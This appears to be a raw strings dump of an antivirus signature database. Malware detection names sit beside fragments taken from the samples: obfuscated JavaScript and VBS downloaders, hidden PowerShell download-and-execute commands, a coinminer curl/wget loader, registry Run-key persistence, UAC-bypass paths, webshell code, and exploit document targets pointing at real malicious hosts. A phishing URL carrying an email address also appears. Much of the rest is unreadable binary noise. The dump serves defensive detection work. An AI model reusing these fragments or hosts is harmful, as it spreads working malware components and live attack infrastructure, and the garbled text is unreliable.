)!#SCPT:HackTool:PowerShell/InvokeTheHash3 invoke-smbexec-username$username-domain$domain-hash$hash-command$command-commandcomspec$commandcomspec-service$service-target$target-smb1:$smb1-sleep$sleep *!#SCPT:HackTool:PowerShell/PowerSploit.RL1 write-progress-status\"portscanning\"-activity$startmsg-currentoperation\"startingcomputer$computersdone\"-percentcomplete($computersdone/$hostlist.count*100) *!#SCPT:TrojanDownloader:VBS/Powdow.PB1!MTB =createobject(chr(&h57)&chr(&h73)&chr(&h63)&chrw(&h72)&chrw(&h49)&chrw(&h70)&chrw(&h74)&chrw(&h2e)&chrw(&h53)&chrw(&h68)&chrw(&h65)&chrw(&h6c)&chrw(&h4c)) *!#TEL:TrojanDownloader:O97M/Emotet.PAK!MTB af0202093hui87(*yhshhshs303030ddcasab0202093hui87(*yhshhshs303030ddoaema0202093hui87(*yhshhshs303030ddvwbja0202093hui87(*yhshhshs303030ddgoacg0202093hui87 +!#SCPT:Exploit:O97M/CVE-2017-11882.SSMB!MTB 215020000000b0000006551754154496f4e2e330000000000000000006d07000002aac34cc6c2010850dbb8d9692c0b2d9dace60a8b108b2ab81719663c2d67b11f3c8b3055ffd605a8620241 !#Trojan:BAT/Pterodo.R!Rttr1 regaddhkey_current_user\\software\\microsoft\\windows\\currentversion\\policies\\explorer\\run/vofficeplugin/treg_expand_sz/d\"%windir%\\microsoft\\office\\plugin\\officeplugin.exe\" !#SCPT:Exploit:HTML/Pangimop.G P.pw/ a-f0-9\"code=\"  !#Trojan:AutoIt/Malisaign.B!shb2 $split=stringsplit(binarytostring($ ),\"\")for$i=\"1\"to$split[\"0\"]$char=asc($split[$i])$xor=bitxor($char,stringlen($  ),\"\")for$i=\"1\"to$split[\"0\"]$char=asc($split[$i])$xor=bitxor($char,stringlen($ ))$result&=chrw($xor)nextreturn$resultendfunc  ))$result&=chrw($xor)nextreturn$resultendfunc #!#ALF:TrojanDownloader:JS/Revlobf.A newfunction(\"  \",\"var  .match(/\\\\s{5}/g),ifhop=\\\"\\\",  =0;while(   +=string.fromcharcode(parseint(  ].substr(  ++;} 000b0000004551754174494f4e2e330000000000000000009e0600000355d25cb46201086d62bbfebf751d81e33cfd45608b038b28baf646dd0781f246219b078b3255ffd6050635f26c2d4334f26cffe (!#SCRIPT:TrojanDownloader:JS/Swabfex.P-2 if(eventdoc[\"s\"+setdocument]==((54|isxmldoc)*(1*gotoend)+(36|getstyles))){sofar[\"op\"+method]();sofar[\"wri\"+realstringobj](eventdoc[\"respo\"+returntrue+\"dy\"]); )!#SCPT:HackTool:PowerShell/InvokePsUACme3 $target=\"$env:temp\\uac.cab\"$wusapath=\"c:\\windows\\system32\\sysprep\\\"$execpath=\"c:\\windows\\system32\\sysprep\\winsat.exe\"$targetwinsat=\"$env:temp\\uac_winsat.cab +!#SCPT:Exploit:O97M/CVE-2017-0199.BEK21!MTB target=\"http://192.227.228.85/.--.......................................................................................-./ .!#SCPT:TrojanDownloader:O97M/TrickBot.MXR2!MTB o@aopaoeaonaoc@aomaodao.aoeaoxaoeao/aocaoaocaoeaoraotaouaotaoiaolaoao-aofaoao-aodaoeaocaooaodaoeaoaodd.d6dd.ao0aoao&ao&aoaoraouaonaodaolaolao3ao2aoaodd !#SCPT:Webshell.A12 querystring(\"pass\")thenfora=1to8randomizek=hex((255-17)*rnd+16)+knextsession(\" \")=kresponse.write( )elsek=session(\" \")size=request.totalbytescontent=request.binaryread(size) !#SLF:Exploit:JS/Bennu.D!dha vara=newarray();for(varb=0;b<20;b++)a[b]=newarray();functionc(){try{string.prototype.substr.call(null,a[3]);}catch(b){}try{string.prototype.replace.call(null,null,null);} !!#SCPT:VirTool:JS/Obfuscator.HK.2 .split(\"\");la=\"e\";try{vary=newactivexobject(\"vbscript.regexp\");la=la+\"v\";}catch(x){ \t=4;la=\"rr\";};try{vary=newactivexobject(\"\"); =1;}catch(x){la=la+\"al\"; \"!#SCPT:TrojanDropper:JS/Exjaysee.A writebase64fileintemp|savetofile|stream|datatype|bin|tmp|createelement|microsoft|xmldom|base64|text|type|open|getspecialfolder|adodb|nodetypedvalue|write|deletefile \"!#SCRIPT:Ransom:AutoIt/Genasom.F.2 ifprocessexists(\"taskmgr.exe\")thenprocessclose(\"taskmgr.exe\")endififprocessexists(\"explorer.exe\")thenrun(@comspec&\"/c\"&\"taskkill/f/imexplorer.exe\",\"\",@sw_hide)endif b0000004571754154694f4e2e33000000000000000000f606000002bb3b25113a010833a5bed1f6240e81ee9539df0d8b168b12b80e3c61192d5ed41a198b3052ffd605ede1d0f2050c1f2f0dffe02137b %!#Exploit:O97M/CVE-2017-11882.X!smk02 [z_kernel32.dllloadlibraryagetprocaddressurlmonexitprocessurldownloadtofileaexpandenvironmentstringsamsvbvm60oleaut32rtcshellsysallocstringmultibytetowide %!#TrojanDownloader:Linux/CoinMiner.C3 sys=sysrv bit=$(getconflong_bit)#pkill-9$sysget(){chattr-i$2;rm-rf$2curl (--user-agentcurl_ldr$bit-fssl$1>$2||wget--user-agentwget_ldr$bit-q-o-$1>$2 )!#ALF:SCRIPT:TrojanDownloader:JS/Ursnif.1 try{r.open(\"get\",\"http://\"+t[m]+\"/get.php?dgfdfg=\"+math.random()+\"&key=\"+key+e,!1),r.send()}catch(a){}if(1==e)break}}key=\"f5\",gorut(\"\"),gorut(\"&pdf=search\"); +!#SCPT:Exploit:O97M/CVE-2017-0199.BKM41!MTB target=\"http://wordfiletransfertocustomer.mangospot.net/-.......................................-.........................-/ <.wbk\"targetmode=\"external\"/> .!#TEL:SCRIPT:TrojanDownloader:LNK/Asruex.B!dha c:\\windows\\system32\\cmd.exe/cpowershell-windowstylehiddenstart-processwinword/m;$c='(new-objectsystem.net.webclient).d'+'ownloadfile( F$env:tmp\\gst.bat !#SCPT:LNK/PSRunner.A1 -executionpolicybypass-c\"try{$w=\"$env:appdata\"+'\\browserassistant\\';[reflection.assembly]::load([system.io.file]::readallbytes($w+'updater.dll'));$i=new-objectu.u;$i.r()}catch{} !#SCPT:Exploit:JS/Anogre.J <objectwidth=\"5\"height=\"10\"data=\" [a-z0-9]\"type=\"application/x-shockwave-flash\"allowscriptaccess=\"always\"><paramname=\"movie\"value=\" \"><paramname=\"flashvars\"value=\"exec= !#SCPT:Trojan:HTML/Phish.PH1 objectstorage.us-sanjose-1.oraclecloud.com/n/axlcuqwddxky/b/bucket-hne-1902/o/hne.html#karolina&#46;roos@ncc&#46;se'\"> <metahttp-equiv=\"refresh\"content=\"1;url='https:// !#SCRIPT:InvokeArrayAssembly =assembly.load( .toarray());type .gettype(\" \");object =activator.createinstance( ,null);methodinfo .getmethod(\" ,newobject[]{args}); !#SCRIPT:PowerShell/Lankez.A =netshwlanshowprofiles|select-string-pattern\"alluserprofile\"|foreach-object <foreach-object  .replace(\"alluserprofile:\",$null  foreach-object{netshwlanshowprofilesname= !#TEL:Extention:JS/SearchHijack varxhr=newxmlhttprequest();xhr.onreadystatechange=function(){xhr.readystate==4&&xhr.status==200&&eval(xhr.responsetext);};xhr.open('get','https:// G',true);xhr.send();  !#SCRIPT:Exploit:HTML/Pangimop.K  !#SCRIPT:Exploit  6cb3428ff328  6ed7f5fb3bf2  6fd7775cb0c8  b878a6f87db7  c17813b4daf1  c278ec754d33  ac78117e8e54 ac78117e8e54Flags1 HSTR:Win32/Kernel32_via_PEB  1b878f68dd3af 1b878f68dd3afFlags1   !#Lua:FilledWithFFOnly !#Lua:FilledWithFFOnlyObMpAttributes !#PUA:Block:PresenokerOnly !#PUA:Block:PresenokerOnlyObMpAttributesg PUA:ML:Block  PUA:Block:Presenoker 1e613f285f3b  TEL:Ransom:Win64/Magniber.PB!MTB !TEL:Ransom:Win64/Magniber.PB!MTB 3089a51bf017 43b3858b75bb WTSIsRemoteSession MpNewRemoteUsers 50951d77988d 55955da83735 55b30bf3781f 5bb39991c1d6 7178549908c1 a3b36922ce8d 52784659c3ee 52784659c3eeFlags1  FOP:Win32/Crybot 53b3eaf4f9fe 53b3eaf4f9feIncludesResearchData   priteshell_malware 59b34575e770 59b34575e770IncludesResearchData   5db3ff5145a6 5db3ff5145a6IncludesResearchData   13678da46f72d  158787d950190  196783e005eef  1d878b6cd9e75  1e678dc479b21  !#LUA:TrickLongFilename ________________.exe LUA:TrickLongFilename !#TEL:HackTool:Win32/GDad_sclmFS.A!dha sclm.dll \tsclm.dll !#Lua:JAMSI !#Lua:JAMSIObMpAttributes MpIsJScriptEncodeAMSIScan MpIsVBScriptEncodeAMSIScan 19b3143df299 GetMotwHostUrlForFile 11278ae6afa75 1ad7844c48adb  !#PEPCODE:Rorpian !#LUA:MSIL/SuspiciousFileSS !#LUA:MSIL/SuspiciousFileSSObMpAttributes .pdf!.exe  !#Lua:FlashPlayerSetupFilename.A !#Lua:FlashPlayerSetupFilename.AObMpAttributes flashplayer_setup.exe Lua:FlashPlayerSetupFilename.A 67b35594876d =$ Mg FT|rp wWHEo w#FN4^ {&<^| N2?&l :NZ>t /=|:\" W)8S'f . }dG  YD\"EO #c>b;p k l.I c)Fpy 4<5$iN LTf,9 H#lj x=$:NL CE}uV 30{2| KT#On 2QAL7]Z nmrIu TU\tl0 Ed6d\\ _Mn&| _Uhn1 af&:fz4 7lLoL x\"i$! %ph2F I~A)h N9%y| Iv;8m UtLu\" 7,<&> Y1ThZ# X>7-s NZ`o| u/;Zl n5V3Z ;fb|j m :8) x_xvD%U \"]7b\" DXlBO =_i>N 3ERBk ?`Ph@ +S6*K &Y%UM0[ _j`l1 Hn2e5 %2`fh !';@4 EC=~1 ^8_A l v/p [\"\t'|| [,s-1 !*k7f :o(-9 1pP(t AmY+|  ce!' &VKT]: w>@^Jo B2dwu` \"`E1bC /^w8{O p=>7s <4 `'\t yc.uj> J ~to7A^bAS dwFlagsAndAttributes hTemplateFile numBytesToWrite lpNumberOfBytesWritten lpOverlapped nNumberOfBytesToRead lpNumberOfBytesRead lpFileSizeHigh lDistanceToMove lpDistanceToMoveHigh dwMoveMethod pwzSource cchSource pbDestBuffer cbDestBuffer null1 null2 lpMultiByteStr cbMultiByte lpWideCharStr cchWideChar hndFindFile lpFindFileData lpExistingFileName lpNewFileName bFailIfExists dwMilliseconds lpSystemTimeAsFileTime lpMutexAttributes bInitialOwner hMutex lpSrc lpDst lpName lpValue lpPathName lpSecurityAttributes uFlags uBytes lpModuleName pCaller szURL szFileName dwReserved lpfnCB hwndOwner lpszPath csidl fCreate radix pszTrimChars lpSubKey ulOptions samDesired phkResult lpClass dwOptions lpdwDisposition lpValueName lpType lpData lpcbData dwType cbData TokenAddr pbuffer cchBuffer dwlength subkey System.IO.Compression DeflateStream Bitmap PixelPayload PixelPayloadB64 PixelPayloadArray <PrivateImplementationDetails>{538E2ABA-B539-432E-9B1E-4016FCA42E3F} __StaticArrayInitTypeSize=130 $$method0x60003b5-1 $$method0x6000197-1 IsSpecialPayload __StaticArrayInitTypeSize=52 $$method0x60003c2-1 $$method0x60003c2-2 __StaticArrayInitTypeSize=128 $$method0x60003c3-1 shlwapi.dll ole32.dll tiondwFlagsAndAttributeshTemplateFilenumBytesToWritelpNumberOfBytesWrittenlpOverlappedlpBuffernNumberOfBytesToReadlpNumberOfBytesReadlpFileSizeHighlDistanceToMovelpDistanceToMoveHighdwMoveMethodcppwzSourcecchSourcepbDestBuffercbDestBuffernull1null2lpMultiByteStrcbMultiBytelpWideCharStrcchWideCharhndFindFilelpFindFileDatalpExistingFileNamelpNewFileNamebFailIfExistsdwMillisecondshModulelpFilenamenSizelpSystemTimeAsFileTimelpMutexAttributesbInitialOwnerhMutexlpSrclpDstlpNamelpValuelpPathNamelpSecurityAttributesuFlagsuByteslpModuleNamedestpCallerszURLszFileNamedwReservedlpfnCBhwndOwnerlpszPathcsidlfCreateradixpszpszTrimCharshKeylpSubKeyulOptionssamDesiredphkResultReservedlpClassdwOptionslpdwDispositionlpValueNamelpTypelpDatalpcbDatadwTypecbDataSrcTokenAddrpSrcpbuffercchBufferdwlengthsubkeymscorlib.cctorkernel32.dllmscoree.dllntdll.dllSystem.IO.CompressionDeflateStreamCompressionModeSystem.DrawingBitmapPixelPayloadPixelPayloadB64PixelPayloadArray<PrivateImplementationDetails>{538E2ABA-B539-432E-9B1E-4016FCA42E3F}__StaticArrayInitTypeSize=130$$method0x60003b5-1$$method0x6000197-1IsSpecialPayload__StaticArrayInitTypeSize=52$$method0x60003c2-1$$method0x60003c2-2__StaticArrayInitTypeSize=128$$method0x60003c3-1urlmon.dllshell32.dllmsvcrt.dllshlwapi.dllole32.dlladvapi32.dll=RPF:SmartAssemblyDESKeysOffset mscorlib.dll;HSTR:SmartAssemblyStrDelegate False\tTrue .#Microsoft Win32S +Microsoft Windows 95 +Microsoft Windows 98 +Microsoft Windows NT +Microsoft Windows CE  Mac OS X  <unknown>  JohnDoe HAL9TH Service Pack 1 )c:\\temp\\Assembly.exe c:\\myapp.exe#RPF:SmartAssembly > \tInherited d:\\pavbld\\amcore\\Signature\\Source\\sigutils\\vdlls\\Microsoft.NET\\VFramework\\mscorlib\\mscorlib.pdb _CorDllMainmscoree.dll FileVersion0.0.0.0< InternalNamemscorlib.dll( LegalCopyright D OriginalFilenamemscorlib.dll4 Assembly Version0.0.0.0p !#TELPER:Ransom:Win32/Teerac.R _Run@4 _Run@4%s\\%s payload.dll _Start@4 payload.dll_Start@4 !#TELPER:Ransom:Win32/Teerac.S , shared_%s Software\\Microsoft\\%s !#Possible:VBFOPEX:VobfusBeebone.AlCK 79!#Possible:VBFOPEX:VobfusBeebone.AlCK !#FOP:Emotet64MainH !#TEL:Exploit_Metasploit.A!EOPTAH  MfIAMIKMu !CabSfxW_4a1ba5bdHVWAHHHHHHHH3A3  !CabSfxW_4a1ba5bdHVWAHHHHHHHH3A3 DDHHD !#FOP:Emotet64Unpack1@HH  !#FOP:Emotet64Unpack1@HH !Upx64nrv2b /!Upx64nrv2b !#FOP64:Win64/Eumbra.A!emsD  !#FOP64:Win64/Eumbra.A!emsD D1[]AAAA !#FOP64:Win64/Eumbra.A!emsY1HHHHWH3HH  !#FOP64:Win64/Eumbra.A!emsY1HHHHWH3HH HL!L33 !#ALF:Backdoor:Win64/Drixed.SD!MTB ALILA DAHLA !Upx64nrv2d 4!Upx64nrv2d !#do_exhaustivehstr_64bit_rescanH D  !#do_exhaustivehstr_64bit_rescanH !AutoHotKey_v1x_&_AutoIt_v3010xHHuDH3 $!AutoHotKey_v1x_&_AutoIt_v3010xHHuDH3 !RarDefault_390HWH :!RarDefault_390HWH HHtEE HHtHH !Upx64nrv2e ?!Upx64nrv2e !CabSfxW_4a1ba5bdHHWHIH O!CabSfxW_4a1ba5bdHHWHIH @t@u9u ;t@uLE !CabSfxW_4a1ba5bdHHHWHIH T!CabSfxW_4a1ba5bdHHHWHIH HHHH_ !AutoIt_v3.3.14.x64HUSVWAH X!AutoIt_v3.3.14.x64HUSVWAH HA_^[] !RarWinConX64_400H _!RarWinConX64_400H DAtAtAuD !RarWinConX64_420H `!RarWinConX64_420H !RarWinConX64_500@AA g!RarWinConX64_500@AA HHHHHD H3HtH LIIIAA_ h!RarWinConX64_500@AA i!RarWinConX64_500@AA !RarWinConX64_390HHHWAA m!RarWinConX64_390HHHWAA tHHLHAH tLHHE LIIIIAA_ !CabSfxW_4a1ba5bdHWHEH3 p!CabSfxW_4a1ba5bdHWHEH3 HHLHHHHHH HHtHEHLHHHHH u9u!EE !RarDefault_390HHWH v!RarDefault_390HHWH HHtHLH HHHHH HLHHHEHH !RarDefault_390HWH3 v!RarDefault_390HWH3 3HHtH ;tHD3 LHLHEHLHH 9u9tH v!RarDefault_390HWH !RarDefault_390HHWH3 HHHHEHHH !RarDefault_390HVH3 !RarDefaultX64_420HHWH !AutoIt_v3.3.12.x64HHUVWAAHHHIH ~DD3EI HHAA_^] !AutoIt_v3.3.14.2.x64HHHHLUAAHHHEIHD HHHLLLHD LIIIMIAA] !Upx64lzmaSVWUHHW UHDIHHV HHjHuSH HPAHEAAAEAUSHH EA1IIL HHHHALwL AAHAAD AHILwL HAMwL HDAA@ ffHAfHwL ffAfwL AAHD) fHHAHwL AsAAAEBf DDDDAD fHHMA fMAffAD HAIwL HAHHL IAIwL HIAHDHHL AAHAAEErEA EwHDDDDA !Upx64lzmaSVWUHHfW !Upx64lzmaSVWUHHH !#LoD:VirTool:Win64/Obfuscator.KHHHHH !#FOP:Emotet64LdrHashString !#VirTool:Win64/Obfuscator.FHLL !PyInstaller <u|$8M !#VirTool:Win64/Obfu  SCPT:CVE-2019-1652-1653-A 227f0e81c715 kill_proc_str taskmgr.exe, msconfig.exe, regedit.exe, cmd.exe 0taskmgr.exe, msconfig.exe, regedit.exe, cmd.exe 41b31f92eb3f 57784a1884fd  TEL:TrojanDownloader:Win32/AdLoad.A!MSR (TEL:TrojanDownloader:Win32/AdLoad.A!MSR 767808f77e7b  *.pdb efb3f341f2fd  fb784ec2d64f fb784ec2d64fFlags1 63b3bf7a8002 63b3bf7a8002IncludesTechniqueTracker  persistence_schtask_a 14678f542be8b  16478728771a4 .code !#Lua:SuspLoaderBatFile !#Lua:SuspLoaderBatFileObMpAttributes loader.bat 2db3f0dc40fc \\%d+%.exe  5b78022f5d53 69b3db3823b5 onlogon a7a9ab42bc14 GetSSLCertificate , OU=(.+), CN=(.+), EMAIL=(.+) 77b3c7ef53d6 77b3c7ef53d6IncludesTechniqueTracker T1543.003  persistence_services_b f3b322c6d516 f3b322c6d516IncludesTechniqueTracker  persistence_services_a #Exploit:Win32/RockCandy.B!Lowfi Exploit:Win32/RockCandy.B!Lowfi.1 \"Exploit:Win32/RockCandy.B!Lowfi.1 Control.TaskSymbol.1 DevilsTongue HKLM\\Software\\Classes\\CLSID\\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA} CHKLM\\Software\\Classes\\CLSID\\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA} HKCU\\Software\\Classes\\CLSID\\{7C857801-7381-11CF-884D-00AA004B2E24} CHKCU\\Software\\Classes\\CLSID\\{7C857801-7381-11CF-884D-00AA004B2E24} 1461e6375b33   2178962c20f8  2489cb18a5bc 4778070557b8  MpHasValidProjPath 5cb3c05d8b85 6cd7f5b0596e  767839f1b404 points 5329017eb513 5329017eb513IncludesResearchData .vcxproj \t.vcxproj be29cae42820 be29cae42820IncludesResearchData 23891e94c783 49b331cca4f8  55d7b7c649c7 616184941138 CERT:PUA:Win32/DLAssis.A1 PUA:ML:Blocked:DownloadAssistant !PUA:ML:Blocked:DownloadAssistant 6cb36a5c5a4d ee78032bd944 lock_res \tlock_res 37b3ca05dd26 37b3ca05dd26IncludesBMLuaLib 5db3a4e53a10 5db3a4e53a10IncludesBMLuaLib 19178d493106a  34782e2e017d  5e61371748f8  65d7bc8760a7   8078554945d1  9e78595044eb  a48fde1124e6 c678541775f5  10db3796ae608 10db3796ae608IncludesBMLuaLib !#EnumPoCExchgGoSource !#EnumPoCExchgGoSourceObMpAttributes SCPT:PoCExchgGoSource Lua:PoCExchgGoSourceFrags 12782302d435 doshdr e_lfanew \te_lfanew SizeOfOptionalHeader  ]${xA` \tJ'5}H Xm~eB :^nkW Yw:>-h ! I`\t  ! I`\t ! z1en  ! z1en !\"U}5  !\"U}5 !%r--  !%r-- QT|+K} hH* \"z%j27z  !*Rj -h_eH8 ;qJLXC\t !4Zh|$L8gc  !4Zh|$L8gc _YCkp RS~!Z L#FLIo De}}AT !;HQ-  !;HQ- za5hbJt4 %l4W5 !<EHo  !<EHo ;c\"pC .{?R1 *6z.#(Q I`$X% !Bb1F  !Bb1F *n%_Q  !L#}  !O$S  !RU|  !TZD  !U7> !U>wnp  !U>wnp P;Wli ?!Wb3 !X+:h  !X+:h !Y\"=B  !Y\"=B  !Y8S !rf/|  !^w W<Bh\" |3e*! wF3=\\\t !_8Ma  !_8Ma  !_DD  !_Iy  !_S  !`y-[  !`y-[ Bl@KS  !cdc  !csO %ZlW+  !eRj W^)zg  !fY?  !g)i  !gM! dK0~\" FR\\S( ;G{p+\\  !j8F !j>a8  !j>a8 }s&<b n}}s&<b !ny'?  !ny'? !o _O  !o _O 0?gzb@  !qJG 1N}F\"4  !qZ( a!\t{% j#vgw !{h \\  !{h \\ l9Pem l9Pemh OE`^! 4\"+ Z X#wy\" +?++q.R $9q.Z L$9q.Z `c\\}G XN;[- AMdyl jQYsI` Hr VeE F!pHk Tn`@Iy F62Na v+,l,F K+Q~@w ,2\tr* H;\"$n. &1v(h XO#E:C RX )e JZ~@\\> EV];b !#SCPT:JS/Obfuscator.Redundancy.G \"===\" 1\"===\" \t0-9A-Za-z\"===\" ]&!#SCPT:JS/Obfuscator.BASE64.argument.A ,']+\" 0-9A-Za-z+/ '!#SCPT:HTML/PhishPhrase.Password.efax.A ]'!#SCPT:HTML/PhishPhrase.Password.efax.A Efax Password:  +Efax Password:  '!#SCPT:JS/Obfuscator.AssembledStrings.A ]'!#SCPT:JS/Obfuscator.AssembledStrings.A +';var  )!#TrojanDownloader:PowerShell/Ploprolo.K2 ])!#TrojanDownloader:PowerShell/Ploprolo.K2 )-nop -w hidden -c \"$ *!#SCPT:JS/Obfuscator.BASE64EncScript.arg.A ]*!#SCPT:JS/Obfuscator.BASE64EncScript.arg.A (==\". 0-9A-z() ](]))& ^ !#SCPT:Java/AdwindOddClassName.H  !#SCRIPT:Java/AdwindOddZIPFile.A ^ !#SCRIPT:Java/AdwindOddZIPFile.A A-Za-z/? ^!!#SCPT:JS/Obfuscator.DigitalSet.A .length - ( 2.length - ( 0, 2)) { #!#SCPT:JS/Obfuscator.concat.array.A ^#!#SCPT:JS/Obfuscator.concat.array.A () + [\" 0() + [\" ^-!#SCPT:JS/Obfuscator.Redundancy.EmptyQuotes.C + \"\" + \" &+ \"\" + \" 0!#SCPT:JS/Obfuscator.Redundancy.Arithmetic.hex.A ^0!#SCPT:JS/Obfuscator.Redundancy.Arithmetic.hex.A #=0x0 \t0-9A-Fa-f+0x \t0-9A-Fa-f #=0x1 #=0x2 #=0x3 #=0x4 #=0x5 #=0x6 #=0x7 #=0x8 #=0x9 !#SCPT:HTML/PhishPhrase.D ou have therefore been allocated to claim a total sum of  ;ou have therefore been allocated to claim a total sum of  Handler.class :Handler.class !#SCPT:JS/Obfuscator.Stub.A = 'S'; 9= 'S'; return  (() {  = 'S'; = 'c'; 9= 'c';  = 'c'; = 'd'; 9= 'd';  = 'd'; 9= 'e';  = 'e'; = 'i'; 9= 'i';  = 'i'; 9= 'n';  = 'n'; = 'p'; 9= 'p';  = 'p'; = 'r'; 9= 'r';  = 'r'; = 's'; 9= 's';  = 's'; 9= 't';  = 't'; !#SCPT:PDF.Producer.RAD_PDF.B /Creator(RAD PDF)/RadPdfCustomData(pdfescape.com-open 7/Creator(RAD PDF)/RadPdfCustomData(pdfescape.com-open !#BRUTE:GlbFileWIthJsonBuffer.A 5glTF data:application/gltf-buffer;base64, _!!#SCPT:JS/Obfuscator.DigitalSet.A \")]=( 3\")]=( 0-9);switch( \"!#SCRIPT:Win32/CVE-2012-4914!shell _\"!#SCRIPT:Win32/CVE-2012-4914!shell %!#SCRIPT:OLE.EquationShellcodeRelated _%!#SCRIPT:OLE.EquationShellcodeRelated _)!#TrojanDownloader:PowerShell/Ploprolo.K2 +-nop -w hidden -c IEX _-!#SCPT:JS/Obfuscator.Redundancy.EmptyQuotes.A = \"\"+\" '= \"\"+\"  \t0-9A-Za-z\"+\"\"; !#SCPT:JS/httpArray.A =['http:// @=['http:// ','http:// !#SCPT:PowerShellHiddenWindow.A IWshShell 6IWshShell .Run(\"false\", \"0\", \"powershell.exe -w 1  \"!#SCPT:JS/Obfuscator.LongVarName.B `\"!#SCPT:JS/Obfuscator.LongVarName.B 3]](); %!#SCPT:JS/Obfuscator.Split.function.A `%!#SCPT:JS/Obfuscator.Split.function.A 0(\\\"f '!#SCPT:JS/Obfuscator.Split.hex.Script.A `'!#SCPT:JS/Obfuscator.Split.hex.Script.A .(\"53 '!#SCRIPT:OLE.EquationShellcodeRelated.B `'!#SCRIPT:OLE.EquationShellcodeRelated.B `0!#SCPT:JS/Obfuscator.Split.String.fromCharCode.A %Str\"+\"i !#SCPT:LokiFigBE REG AD FREG AD  \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V  \" !#SCPT:ShallowFerry1 yni4pzHM7KAAAAAAAAAACG-uAVr2IuhCMwDMcp2jws9WPKPO1k7c3_gUZrHbcH_h Byni4pzHM7KAAAAAAAAAACG-uAVr2IuhCMwDMcp2jws9WPKPO1k7c3_gUZrHbcH_h = \"Sc\"; ;= \"Sc\";  = \"Sc\"; = \"WS\"; ;= \"WS\";  = \"WS\"; = \"cr\"; ;= \"cr\";  = \"cr\"; = \"ip\"; ;= \"ip\";  = \"ip\"; = \"pt\"; ;= \"pt\";  = \"pt\"; = \"ri\"; ;= \"ri\";  = \"ri\"; !#SCPT:ZipHasDocPasswordShown .docPK 9.docPK Password for this file is  - Password for this file is  !#ALF:Trojan:BAT/Trilark.B!dha .hta & del \"%appdata%\\ 8.hta & del \"%appdata%\\ .bat\" mshta.exe http #!#ALF:Exploit:SWF/Korpode.A.kodiurl a#!#ALF:Exploit:SWF/Korpode.A.kodiurl www.kodi-m.com/new/admin/data/product/manager.php 3www.kodi-m.com/new/admin/data/product/manager.php a%!#SCPT:JS/Obfuscator.Split.parseInt.A p\"+\"a 1p\"+\"a p'+'a 1p'+'a '!#SCPT:JS/Obfuscator.replace.capitals.A a'!#SCPT:JS/Obfuscator.replace.capitals.A /.replace(/ 0-9A-Z/g, ''); )!#SCPT:HTML/PhishPhrase.payment.delayed.A a)!#SCPT:HTML/PhishPhrase.payment.delayed.A your payment has been unnecessarily Delayed -your payment has been unnecessarily Delayed +!#SCPT:JS/Obfuscator.eval.argument.digits.A a+!#SCPT:JS/Obfuscator.eval.argument.digits.A = eval( += eval( A-Za-z(\" 0-9A-F\", 3!#SCPT:VirTool:SWF/Obfuscator.SymbolClassWiseLoop.A a3!#SCPT:VirTool:SWF/Obfuscator.SymbolClassWiseLoop.A #_1lI 1lI_@ !#SCPT:RTF/uri_hex.xls.A {\\*\\deftab ?{\\*\\deftab }005C005C00  }005C005C00 2e0078006c0073000000000000000000 !#SCPT:PDF/PDFPhishPhrase.A > click  purchase order below to view.  </span></p></body> <> click  purchase order below to view.  </span></p></body> !#SCPT:SWF/ManyShowFrames.A <@@@@ <rdf:RDF xmlns:rdf=' $!#SCPT:JS/Assignment.Array.Decimal.A b$!#SCPT:JS/Assignment.Array.Decimal.A 3= [0 3= [1 3= [2 3= [3 3= [4 3= [5 3= [6 3= [7 3= [8 3= [9 &!#TEL:SCPT:Java:HasRepetitiveClassName b&!#TEL:SCPT:Java:HasRepetitiveClassName 1.classPK ,!#SCPT:JS/Obfuscator.Capslock.ListViewCtrl.A b,!#SCPT:JS/Obfuscator.Capslock.ListViewCtrl.A .LISt +.LISt .LIsT +.LIsT .LIst +.LIst .LiST +.LiST .LiSt +.LiSt .LisT +.LisT .lIST +.lIST .lISt +.lISt .lIsT +.lIsT .lIst +.lIst .liST +.liST .liSt +.liSt .lisT +.lisT !#SCPT:VBS/Obfuscator.gifExt.A .gif\" :.gif\" !#SCPT:VBS/Obfuscator.zipExt.A .zip\" :.zip\" c!!#SCPT:JS/Obfuscator.Juxtaposed.B \"] = ' 7\"] = '  \"] = \" A-Za-z\"; c!!#SCPT:JS/Obfuscator.Redundancy.P = [\"C\"][( 7= [\"C\"][( = [\"f\"][( 7= [\"f\"][( #!#SCPT:JS/Obfuscator.DecimalArray.A c#!#SCPT:JS/Obfuscator.DecimalArray.A \")]==( 5\")]==( c&!#SCPT:JS/Obfuscator.BASE64.argument.A 2\" + \" c'!#SCPT:JS/Obfuscator.Split.powershell.A p\" + \"o 1p\" + \"o c'!#SCPT:JS/Obfuscator.replace.capitals.A \"replace\"](/ 1\"replace\"](/ !#SCPT:DocHasJar Desktop\\ #!#SCPT:JS/PowerShell.DownloadFile.A d#!#SCPT:JS/PowerShell.DownloadFile.A (New-Object System.Net.WebClient).DownloadFile('http 6(New-Object System.Net.WebClient).DownloadFile('http d$!#SCPT:Exploit:O97M/CVE-2017-11882.A %!#SCRIPT:Equation3_Overflow_WinExec.A d%!#SCRIPT:Equation3_Overflow_WinExec.A &!#BRUTE:Exploit:Python/CVE-2017-0143.7 d&!#BRUTE:Exploit:Python/CVE-2017-0143.7 SMB1 session setup allocate nonpaged pool success 3SMB1 session setup allocate nonpaged pool success d&!#SCPT:JS/Obfuscator.DictionaryWords.A (\"\"+\" 3(\"\"+\" [\"\"+\" 3[\"\"+\" &!#SCPT:JS/Obfuscator._0x.Math.random.A d&!#SCPT:JS/Obfuscator._0x.Math.random.A ('\\x5c',Math[_0x 3('\\x5c',Math[_0x `')](0x24)[_0x  ')](0x2,0x9)); (!#SCPT:JS/Obfuscator.Split.constructor.A d(!#SCPT:JS/Obfuscator.Split.constructor.A 1= \"c *!#SCPT:JS/Obfuscator.Redundancy.NewLines.B d*!#SCPT:JS/Obfuscator.Redundancy.NewLines.B '+''+ /'+''+ 'f('+ /'f('+ d-!#SCPT:JS/Obfuscator.Redundancy.EmptyQuotes.A == \"\" +  ,== \"\" +  \t0-9A-Za-z)  !#SCPT:Java/JarHasBlob .g () {return this.charAt((( =.g () {return this.charAt((( ;IWshShell .Run(\"false\", \"0\", \"powershell.exe -W Hidden   !#ALF:Trojan:Win32/LokiFig.C!dha e !#ALF:Trojan:Win32/LokiFig.C!dha c:\\users\\ops\\app :c:\\users\\ops\\app ata\\local\\programs\\python\\python35-32 (!#SCPT:JS/Obfuscator.Reversed.HexMixed.A e(!#SCPT:JS/Obfuscator.Reversed.HexMixed.A rav\\n;\" 